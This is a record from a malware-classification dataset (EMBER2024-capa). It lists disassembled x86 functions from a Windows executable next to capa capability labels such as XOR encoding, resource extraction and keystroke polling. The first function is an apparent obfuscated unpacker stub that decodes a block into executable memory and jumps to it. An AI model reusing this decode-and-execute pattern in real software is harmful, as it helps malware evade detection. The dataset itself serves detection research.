joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40df14
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40df23
pop dword [ebp - 0x1c]
mov eax, 0x3b70d065
add eax, 0xc4d00ebe
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3fd3c
push 0
mov eax, 0xbd49461d
sub eax, 0xbd06f405
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x4d53d460
sub ecx, 0x4d53843f
mov edx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x1c]
mov ebx, 0xe5d42e0c
add ebx, 0x88403fd6
add dword [ebp - 4], esi
mov edi, dword [esi]
xor dword [ebp - 0x18], 0xdebd0ddf
xor edi, ebx
add dword [ebp - 4], 0xb10d0848
mov dword [edx], edi
add dword [ebp - 8], ebx
add edx, 0x47d995af
sub edx, 0x47d995ab
add esi, 4
loop 0x40df7c
add eax, 0x62e577bf
sub eax, 0x62e44468
xor ebx, ebx
add ebx, eax
add eax, 0xe7459973
add eax, 0x18ba6692
mov ecx, 0x347738c0
sub ecx, 0x343738c0
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x404240
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.00404300
cmp dword [0x424738], 1
mov esi, dword [esp + 0x10]
jne 0x404263
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x424734], 1
cmp dword [esp + 0x14], 0
mov ebx, dword [esp + 0x18]
mov byte [0x424730], bl
jne 0x4042bd
cmp dword [0x4299cc], 0
je 0x4042ab
mov edi, dword [0x4299c8]
sub edi, 4
cmp edi, dword [0x4299cc]
jb 0x4042ab
mov eax, dword [edi]
test eax, eax
je 0x4042a0
call eax
sub edi, 4
cmp edi, dword [0x4299cc]
jae 0x404298
push 0x424070
push 0x424068
call fcn.00404320
add esp, 8
push 0x424078
push 0x424074
call fcn.00404320
add esp, 8
test ebx, ebx
je 0x4042dc
call fcn.00404310
pop edi
pop esi
pop ebx
ret
mov dword [0x424738], 1
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x404490
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420108
push 0x407634
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x4246fc], eax
xor eax, eax
mov al, byte [0x4246fd]
mov dword [0x424708], eax
mov eax, dword [0x4246fc]
shr dword [0x4246fc], 0x10
and eax, 0xff
mov dword [0x424704], eax
shl eax, 8
add eax, dword [0x424708]
mov dword [0x424700], eax
call fcn.004075f0
test eax, eax
jne 0x404504
push 0x1c
call fcn.00404640
add esp, 4
call fcn.004068e0
test eax, eax
jne 0x404517
push 0x10
call fcn.00404640
add esp, 4
mov dword [ebp - 4], 0
call fcn.00407410
call fcn.004057d0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4299c4], eax
call fcn.00407280
mov dword [0x42473c], eax
test eax, eax
je 0x40454a
cmp dword [0x4299c4], 0
jne 0x404554
push 0xffffffffffffffff
call fcn.00404200
add esp, 4
call fcn.00407010
call fcn.00406f20
call fcn.004041d0
mov esi, dword [0x4299c4]
mov al, byte [esi]
cmp al, 0x22
je 0x40457b
cmp al, 0x20
jbe 0x4045a8
inc esi
cmp byte [esi], 0x20
ja 0x404573
jmp 0x4045a8
inc esi
cmp byte [esi], 0x22
je 0x4045a7
mov bl, byte [ebp - 0x28]
mov bl, byte [esi]
test bl, bl
je 0x4045a2
xor eax, eax
mov al, bl
push eax
call fcn.00406ec0
add esp, 4
test eax, eax
je 0x40459c
inc esi
inc esi
cmp byte [esi], 0x22
jne 0x404584
cmp byte [esi], 0x22
jne 0x4045a8
inc esi
cmp byte [esi], 0
je 0x4045b8
cmp byte [esi], 0x20
ja 0x4045b8
inc esi
cmp byte [esi], 0
jne 0x4045ad
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x44], 1
mov eax, 0xa
je 0x4045dc
mov eax, dword [ebp - 0x40]
and eax, 0xffff
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00404200
jmp 0x40461d
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4068e0
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.00406ab0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x424bf0], eax
cmp eax, 0xffffffff
jne 0x4068fa
xor eax, eax
pop esi
ret
push 0x74
push 1
call fcn.004082f0
add esp, 8
mov esi, eax
test esi, esi
je 0x40693c
push esi
mov eax, dword [0x424bf0]
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x40693c
push esi
call fcn.00406940
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi], eax
mov eax, 1
mov dword [esi + 4], 0xffffffff
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x406960
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [0x424bf0]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test edi, edi
jne 0x4069c3
push 0x74
push 1
call fcn.004082f0
add esp, 8
mov edi, eax
test edi, edi
je 0x4069b9
push edi
mov eax, dword [0x424bf0]
push eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4069b9
push edi
call fcn.00406940
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [edi], eax
mov dword [edi + 4], 0xffffffff
jmp 0x4069c3
push 0x10
call fcn.00404640
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
pop edi
pop esi
ret
Function at 0x407280
Capabilities:
Query environment variable

Disassembly:
sub esp, 4
push ebx
push esi
push edi
xor ebx, ebx
push ebp
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp dword [0x424f5c], ebx
jne 0x4072cf
call esi
cmp eax, ebx
mov edi, eax
je 0x4072ad
mov dword [0x424f5c], 1
jmp 0x4072cf
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test ebx, ebx
je 0x4072c5
mov dword [0x424f5c], 2
jmp 0x4072cf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [0x424f5c], 1
jne 0x40737e
test edi, edi
jne 0x4072f2
call esi
mov edi, eax
test edi, edi
jne 0x4072f2
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp word [edi], 0
mov esi, edi
je 0x40730c
add esi, 2
cmp word [esi], 0
jne 0x4072fa
add esi, 2
cmp word [esi], 0
jne 0x4072fa
sub esi, edi
push 0
sar esi, 1
push 0
inc esi
push 0
push 0
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
test ebp, ebp
je 0x40736d
push ebp
call fcn.00404990
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x40736d
push 0
push 0
push ebp
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x40735c
push ebx
call fcn.00404870
add esp, 4
xor ebx, ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [0x424f5c], 2
jne 0x407402
test ebx, ebx
jne 0x4073a1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test ebx, ebx
jne 0x4073a1
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov ebp, ebx
cmp byte [ebx], 0
je 0x4073b6
inc ebp
cmp byte [ebp], 0
jne 0x4073a8
inc ebp
cmp byte [ebp], 0
jne 0x4073a8
sub ebp, ebx
inc ebp
push ebp
call fcn.00404990
mov dword [esp + 0x14], eax
add esp, 4
test eax, eax
jne 0x4073db
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov edi, dword [esp + 0x10]
mov esi, ebx
mov ecx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
Function at 0x407750
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1a8
xor ecx, ecx
mov eax, 0x424f88
push ebx
mov edx, dword [esp + 0x1b0]
push esi
push edi
push ebp
cmp dword [eax], edx
je 0x407777
add eax, 8
inc ecx
cmp eax, 0x425018
jb 0x407768
cmp dword [ecx*8 + 0x424f88], edx
lea ebx, [ecx*8]
jne 0x40793b
cmp dword [0x424748], 1
je 0x4078f7
cmp dword [0x424748], 0
jne 0x4077ae
cmp dword [0x42474c], 1
je 0x4078f7
cmp edx, 0xfc
je 0x40793b
lea eax, [esp + 0xb4]
push 0x104
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call ebp
test eax, eax
jne 0x4077eb
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea ebp, [esp + 0xb4]
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x40782f
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
push 3
repne scasb al, byte es:[edi]
not ecx
lea ebp, [esp + ecx + 0x7c]
push 0x420580
push ebp
call fcn.004094f0
add esp, 0xc
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebp
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x420560
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x424f8c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
lea edi, [esp + 0x14]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x12010
and ecx, 3
push str.Microsoft_Visual_C_Runtime_Library
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x1c]
push eax
call fcn.00409450
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
cmp dword [0x4298c0], 0
je 0x40790d
mov eax, dword [0x4298c0]
mov esi, dword [eax + 0x48]
cmp esi, 0xffffffff
jne 0x407917
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebx + 0x424f8c]
push 0
lea eax, [esp + 0x14]
mov edi, edx
push eax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
Function at 0x40baa0
Capabilities:
Get geographical location

Disassembly:
push ebx
mov eax, dword [0x426680]
push esi
test eax, eax
push edi
push ebp
jne 0x40bae8
push 0
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 1
push 0
call esi
test eax, eax
je 0x40bac8
mov eax, 2
jmp 0x40baee
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40bae1
mov eax, 1
jmp 0x40baee
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [0x426680], eax
cmp eax, 2
jne 0x40bb13
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov ebx, dword [esp + 0x18]
push ecx
push edx
push ebx
call esi
pop ebp
pop edi
pop esi
pop ebx
ret
mov dword [0x426680], eax
cmp eax, 1
jne 0x40bbaf
mov edi, dword [esp + 0x24]
test edi, edi
jne 0x40bb2f
mov edi, dword [0x425880]
mov eax, dword [esp + 0x18]
push 0
mov ebx, dword [esp + 0x18]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebp, eax
test ebp, ebp
jne 0x40bb50
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
ret
lea eax, [ebp*2]
push eax
call fcn.00404990
add esp, 4
mov esi, eax
test esi, esi
jne 0x40bb6d
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
ret
mov eax, dword [esp + 0x18]
push ebp
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x40bba4
mov eax, dword [esp + 0x20]
push 0
push 0
test eax, eax
jne 0x40bbb4
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x220
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jne 0x40bbcf
push esi
call fcn.00404870
add esp, 4
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
ret
push eax
mov eax, dword [esp + 0x28]
push eax
push 0xffffffffffffffff
push esi
push 0x220
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x40bba4
push esi
call fcn.00404870
add esp, 4
mov eax, edi
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40f630
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00405190
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x40f6fb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x40f6fb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x40f6ae
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x40f6b9
or bh, 8
and edi, 0x8000000
je 0x40f6d4
mov eax, dword [0x429a3c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x40f6fb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fad0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40fafb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x40fb1f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x40fb3a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x410e54
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x410fe3
call fcn.00404718
sub esp, 0x1c
mov eax, dword [ecx + 0x48]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
mov ebx, dword [ecx + 0x44]
mov dword [ebp - 0x10], esp
call fcn.0041c655
mov esi, dword [eax + 0xc]
mov edi, dword [ebp - 0x14]
add edi, 0x40
cmp dword [edi], 0
je 0x410ea3
call fcn.0041c655
mov esi, dword [eax + 0xc]
push 5
push dword [edi]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x410eb1
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x410ecd
mov eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x14]
xor edi, edi
call fcn.00410ddf
mov dword [ebp - 0x18], eax
call fcn.004133fb
push dword [ebp - 0x18]
call fcn.00412e56
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x18], edi
je 0x410f0d
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x410f0d
push edi
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], 0
push dword [ebp - 0x14]
call fcn.004133ac
push esi
push dword [ebp - 0x18]
call fcn.00412e56
push eax
push dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
call fcn.00410b02
test eax, eax
je 0x410f79
mov eax, dword [ebp - 0x14]
test byte [eax + 0x24], 0x10
je 0x410f60
mov dword [ebp - 0x24], 4
mov ecx, eax
call fcn.00412771
test ah, 1
je 0x410f55
or byte [ebp - 0x24], 1
push dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
call fcn.0041553b
mov ecx, dword [ebp - 0x14]
xor eax, eax
cmp dword [ecx + 0x1c], eax
je 0x410f79
push 0x97
push eax
push eax
push eax
push eax
push eax
call fcn.004127f7
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], 0
je 0x410f91
push 1
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x18], 0
je 0x410fae
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, dword [ebp - 0x14]
cmp eax, dword [ecx + 0x1c]
jne 0x410fae
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov ebx, dword [eax]
call dword [ebx + 0x60]
mov ecx, dword [ebp - 0x14]
call fcn.00410e15
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x2c]
jmp 0x410ebc

Function at 0x411adc
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
cmp dword [eax + 4], 0x100
jne 0x411b21
cmp dword [eax + 8], 0x70
jne 0x411b21
mov eax, dword [eax + 0xc]
shr eax, 0x10
test ah, 0x40
jne 0x411b21
push 0x10
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
call esi
test ax, ax
jl 0x411b21
push 0x11
call esi
test ax, ax
jl 0x411b21
push 0x12
call esi
test ax, ax
mov eax, 1
jge 0x411b23
xor eax, eax
pop esi
ret 4
Function at 0x41540e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
push ebp
mov edi, ecx
mov esi, dword [esp + 0x14]
cmp esi, ebx
je 0x415450
call fcn.0041c655
mov ebp, dword [eax + 0xc]
push 0xf0
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x415450
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x415447
xor eax, eax
jmp 0x415458
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041545f
pop ebp
pop edi
pop esi
pop ebx
ret 4

Function at 0x416421
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push esi
push edi
mov edi, ecx
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x416469
push 0
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x416458
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00416e9d
cmp dword [ebp - 4], esi
je 0x416469
push dword [edi + 0xc]
push 0xffffffffffffffff
push 0xd
call fcn.00416f78
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x416607
Capabilities:
Get disk information

Disassembly:
mov eax, 0x4166e6
call fcn.00404718
sub esp, 0x150
lea eax, [ebp - 0x18]
push ebx
push esi
push edi
mov ebx, 0x104
push eax
mov edi, dword [ebp + 8]
push edi
mov esi, dword [ebp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x416654
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebp - 0x10]
xor ebx, ebx
call fcn.0041222e
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
push edi
call fcn.004166f8
push ebx
lea eax, [ebp - 0x14]
push ebx
lea ecx, [ebp - 0x1c]
push eax
push ecx
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x416693
mov dword [ebp - 4], 0xffffffff
call fcn.004166f0
jmp 0x41663f
test byte [ebp - 0x14], 2
jne 0x4166a0
push edi
call dword [sym.imp.USER32.dll_CharUpperA]
test byte [ebp - 0x14], 4
jne 0x4166d0
lea eax, [ebp - 0x15c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4166d0
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 4], 0xffffffff
call fcn.004166f0
mov eax, 1
jmp 0x416641